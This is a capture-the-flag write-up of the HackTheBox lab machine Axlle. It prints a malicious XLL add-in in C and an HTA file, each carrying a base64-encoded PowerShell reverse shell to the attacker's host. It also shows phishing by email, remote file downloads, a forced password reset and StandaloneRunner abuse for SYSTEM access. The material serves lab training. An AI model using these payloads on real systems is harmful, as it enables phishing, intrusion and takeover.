Hackthebox: Axlle

Foued SAIDI Lv4

Overview

Axlle is a hard-difficulty Windows machine from HackTheBox initially dealing with a phishing attack using and XLL Excel add-on file. Later another phishing attempt utilizing .hta web shortcut files in order to land a shell on a new user where we’ll be abusing the Windows Kit’s StandaloneRunner to own the system. It was really fun!

Axlle-info-card
Axlle-info-card

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
PS C:\Users\0xkujen> nmap -A -Pn 10.129.217.166 
Starting Nmap 7.95 ( https://nmap.org ) at 2024-11-15 10:59 W. Central Africa Standard Time
Nmap scan report for 10.129.217.166
Host is up (0.12s latency).
Not shown: 986 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
25/tcp open smtp hMailServer smtpd
| smtp-commands: MAINFRAME, SIZE 20480000, AUTH LOGIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Axlle Development
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-15 10:04:54Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: axlle.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: axlle.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: MAINFRAME; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
| date: 2024-11-15T10:05:16
|_ start_date: N/A
|_clock-skew: 5m06s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 110.75 seconds

We can see that ldap is giving us back the domain name for this machine axlle.htb so let’s go ahead and add that entry to our /etc/hosts file. One more interesting port is 25 for SMTP, it has hMailServer running on it. This can be useful in the future.

Web Application - http://axlle.htb

Checking the web interface, it looks like a casual one without any special properties or buttons:

Web Application
Web Application

However, scrolling down a bit we can see an interesting message from the developers:

Web Application
Web Application

The interesting part is this: If you have any outstanding invoices or requests, please email them to [email protected] in Excel format. Please note that all macros are disabled due to our security posture.

From what we can understand from this message, we can email [email protected] with an Excel file (Thinking of it, the machine name aXLLe makes sense now). I instantly get an idea about sending a phishing email with a malicious xll file and see what happens.

Doing some research I stumble upon this page from swisskyrepo . We can inject our malicious script inside this code just like this: (you can generate your malicious powershell script using https://www.revshells.com/ )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <windows.h>

__declspec(dllexport) void __cdecl xlAutoOpen(void);

void __cdecl xlAutoOpen() {
// Triggers when Excel opens
WinExec("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4ANAAzACIALAA5ADAAMAAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==", 1);
}

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

We put this code inside of note.c file and now we can email it to the “account” address using swaks , of course after compiling the C code with x86_64-w64-mingw32-gcc to make it a valid .xll file:

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~/Hackthebox/axlle]
└─$ x86_64-w64-mingw32-gcc -fPIC -shared -o shell.xll note.c -luser32

┌──(kali㉿kali)-[~/Hackthebox/axlle]
└─$ ls
note.c shell.xll

┌──(kali㉿kali)-[~/Hackthebox/axlle]
└─$

And now send it out using swaks:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
┌──(kali㉿kali)-[~/Hackthebox/axlle]
└─$ swaks --to [email protected] --from [email protected] --server 10.129.217.166 --port 25 --header "Subject: 0xkujen" --body "0xkujen" --attach @shell.xll
=== Trying 10.129.217.166:25...
=== Connected to 10.129.217.166.
<- 220 MAINFRAME ESMTP
-> EHLO kali
<- 250-MAINFRAME
<- 250-SIZE 20480000
<- 250-AUTH LOGIN
<- 250 HELP
-> MAIL FROM:<[email protected]>
<- 250 OK
-> RCPT TO:<[email protected]>
<- 250 OK
-> DATA
<- 354 OK, send.
-> Date: Fri, 15 Nov 2024 14:33:33 +0100
-> To: [email protected]
-> From: [email protected]
-> Subject: 0xkujen
-> Message-Id: <20241115143333.101343@kali>
-> X-Mailer: swaks v20240103.0 jetmore.org/john/code/swaks/
-> MIME-Version: 1.0
-> Content-Type: multipart/mixed; boundary="----=_MIME_BOUNDARY_000_101343"
->
-> ------=_MIME_BOUNDARY_000_101343
-> Content-Type: text/plain
->
-> 0xkujen
-> ------=_MIME_BOUNDARY_000_101343
-> Content-Type: application/octet-stream; name="shell.xll"
-> Content-Description: shell.xll
-> Content-Disposition: attachment; filename="shell.xll"
-> Content-Transfer-Encoding: BASE64
->
-> TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
<snip>
->
-> ------=_MIME_BOUNDARY_000_101343--
->
->
-> .
<- 250 Queued (12.047 seconds)
-> QUIT
<- 221 goodbye
=== Connection closed with remote host.

And we get a callback:

1
2
3
4
5
6
PS C:\Users\0xkujen> nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.x.x] from (UNKNOWN) [10.129.217.166] 57935
whoami
axlle\gideon.hamill
PS C:\>

Pivoting to axlle\dallon.matrix - hta injection

The first thing that comes to mind -since we just performed a phishing attack on the hMailServer- is to go and check the mail inbox for any interesting incoming emails, and we do find something interesting:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
PS C:\Program Files (x86)\hmailserver\data\axlle.htb\dallon.matrix\2F> cat *
Return-Path: [email protected]
Received: from bumbag (Unknown [192.168.77.153])
by MAINFRAME with ESMTP
; Mon, 1 Jan 2024 06:32:24 -0800
Date: Tue, 02 Jan 2024 01:32:23 +1100
To: [email protected],[email protected],[email protected],[email protected],[email protected],[email protected],[email protected],[email protected],[email protected],[email protected],[email protected],[email protected],[email protected],[email protected]
From: [email protected]
Subject: OSINT Application Testing
Message-Id: <20240102013223.019081@bumbag>
X-Mailer: swaks v20201014.0 jetmore.org/john/code/swaks/

Hi everyone,

The Web Dev group is doing some development to figure out the best way to automate the checking and addition of URLs into the OSINT portal.

We ask that you drop any web shortcuts you have into the C:\inetpub\testing folder so we can test the automation.

Yours in click-worthy URLs,

The Web Dev Team


PS C:\Program Files (x86)\hmailserver\data\axlle.htb\dallon.matrix\2F>

This email is talking about web shortcuts being put inside of C:\inetpub\testing for automation purposes (all I see is hacking purposes haha).
So we could try to create a malicious .hta file and inject it inside of that Directory and see what happens.
This article from HackTricks was really userful.
This will be my shell.hta file:

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<head>
<HTA:APPLICATION ID="HelloExample">
<script language="jscript">
var c = "cmd.exe /c powershell -c powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8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QAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=";
new ActiveXObject('WScript.Shell').Run(c);
</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>

And this will be my shell.url file:

1
2
[InternetShortcut]
URL=C:\Users\Public\Documents\shell.hta

So it goes like this:
1- Create your shell.hta malicious script under C:\users\public\documents
2- Create your shell.url under C:\inetpub\testing with its’ contents redirecting towards the hta file
3- Enjoy your shell :)

1
2
3
4
5
6
7
PS C:\Users\0xkujen> nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.x.x] from (UNKNOWN) [10.129.217.166] 60332
whoami
axlle\dallon.matrix
PS C:\>

And we get our user.txt flag:

1
2
3
PS C:\users\dallon.matrix\desktop> cat user.txt
f74f51ef63af78******************
PS C:\users\dallon.matrix\desktop>

Privilege Escalation - StandaloneRunner abuse

We can now run Bloodhound on the machine to see what juicy info we can extract out of it.
We can see that our current user dallon.matrix is a member of WEB DEVS group which has ForceChangePassword on jacob.greeny:

BloodHound
BloodHound

Let’s change jacob’s password and connect to him (since we can see that he’s member of Remote Management Users):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PS C:\users\public> iwr 10.10.x.x/PowerView.ps1 -outfile p.ps1
PS C:\users\public> . ./p.ps1
PS C:\users\public> get-domain


Forest : axlle.htb
DomainControllers : {MAINFRAME.axlle.htb}
Children : {}
DomainMode : Unknown
DomainModeLevel : 7
Parent :
PdcRoleOwner : MAINFRAME.axlle.htb
RidRoleOwner : MAINFRAME.axlle.htb
InfrastructureRoleOwner : MAINFRAME.axlle.htb
Name : axlle.htb



PS C:\users\public> $pass = ConvertTo-SecureString 'SuperSecuredPassword0xkujen123!' -AsPlainText -Force
PS C:\users\public> Set-DomainUserPassword -Identity Jacob.Greeny -AccountPassword $pass
PS C:\users\public>
1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/Hackthebox/axlle]
└─$ evil-winrm -i 10.129.217.166 -u "jacob.greeny" -p 'SuperSecuredPassword0xkujen123!'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\jacob.greeny\Documents>

Checking the C:/ directory there is an App Development folder that I found empty earlier, but now with this user it has a kbfiltr directory with some interesting stuff in it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
*Evil-WinRM* PS C:\app development\kbfiltr> cat readme.md
# Keyboard Translation Program
This is an application in development that uses a WDF kbfiltr as the basis for a translation program. The aim of this application is to allow users to program and simulate custom keyboard layouts for real or fictional languages.

## Features
- Create custom keyboard layouts for real or fictional languages.
- Simulate keyboard inputs using the custom layouts.
- Secret codes to switch between languages and logging output.

## Progress
- kbfiltr driver - Complete
- Keyboard mapping - Complete (hardcoded in driver)
- Custom mapping in application layer - In progress
- Logging - Complete
- Activation of logging - Complete
- Simulation of other keyboard layouts - Incomplete
- Activation of other keyboard layouts - Incomplete

**NOTE: I have automated the running of `C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\standalonerunner.exe` as SYSTEM to test and debug this driver in a standalone environment**

## Prerequisites
- Windows 10 or higher
- Visual Studio 2019
- Windows Driver Kit (WDK) 10

## Getting Started
- Clone this repository.
- Open the solution file in Visual Studio.
- Build the solution in Release mode.
- Install the driver by running `.\devcon.exe install .\kbfiltr.inf "*PNP0303"` as Administrator.
- Install the driver as an upperclass filter with `.\devcon.exe /r classfilter keyboard upper -keylogger` as Administrator.
- Install the application by running the install_app.bat file as Administrator.
- Reboot your computer to load the driver.
- Launch the application and start programming your custom keyboard layouts.

## Usage
### Programming a Custom Layout
- Launch the application.
- Click on the Program Layout button.
- Select the language for which you want to program the layout.
- Select the key you want to modify from the list.
- Modify the key's scancode and virtual key code as required.
- Repeat steps 4 and 5 for all the keys you want to modify.
- Save the layout by clicking on the Save Layout button.

### Simulating Inputs
- Launch the application.
- Click on the Simulate Input button.
- Select the language for which you want to simulate the input.
- Type in the input in the normal English layout.
- Trigger language switch as outlined below (when required).
- Verify that the input is translated to the selected language.

### Logging Output
- Launch the application.
- Turn on logging (shortcuts can be created as explained below)
- Use the application as normal.
- The log file will be created in the same directory as the application.

## Triggering/Activation
- To toggle logging output, set up a shortcut in the options menu. INCOMPLETE
- To switch to a different language, press the Left Alt key and the Right Ctrl key simultaneously. INCOMPLETE

## Bugs
There are probably several.
*Evil-WinRM* PS C:\app development\kbfiltr>

One interesting part is this:

1
2
**NOTE: I have automated the running of `C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\standalonerunner.exe` as SYSTEM to test and debug this driver in a standalone environment**

Reading this note I instantly think about abusing standalonerunner.exe, and this github repository comes in handy.

Here are the steps to follow:
1- Create a reboot.rsf file with this content:

1
2
myTestDir
True

2- Create a myTestDir\working directory
3- Create an empty rsf.rsf file inside of it
4- Create a command.txt file with our malicious reverse shell script inside of the primary x64 execution directory
5- Enjoy your shell :)

I have create this mini script to automate the process since everything gets deleted each few seconds:

1
2
3
4
5
6
7
8
9
cd "C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\"
iwr 10.10.x.x/reboot.rsf -outfile reboot.rsf
mkdir myTestDir
cd "C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\myTestDir"
mkdir working
cd "C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\myTestDir\working\"
iwr 10.10.x.x/rsf.rsf -outfile rsf.rsf
cd "C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\"
iwr 10.10.x.x/command.txt -outfile command.txt

(Just make sure you run it a couple of times because it keeps on deleting stuff)
And we have our shell and root flag:

1
2
3
4
5
6
7
8
PS C:\Users\0xkujen> nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.x.x] from (UNKNOWN) [10.129.217.166] 56010
whoami
axlle\administrator
PS C:\users\administrator\desktop> cat root.txt
8deccb626d9926******************
PS C:\users\administrator\desktop>

And that was it for Axlle! Hope you enjyed it.
-0xkujen

  • Title: Hackthebox: Axlle
  • Author: Foued SAIDI
  • Created at : 2024-11-15 10:55:26
  • Updated at : 2024-11-15 16:16:26
  • Link: https://kujen5.github.io/2024/11/15/Hackthebox-Axlle/
  • License: This work is licensed under CC BY-NC-SA 4.0.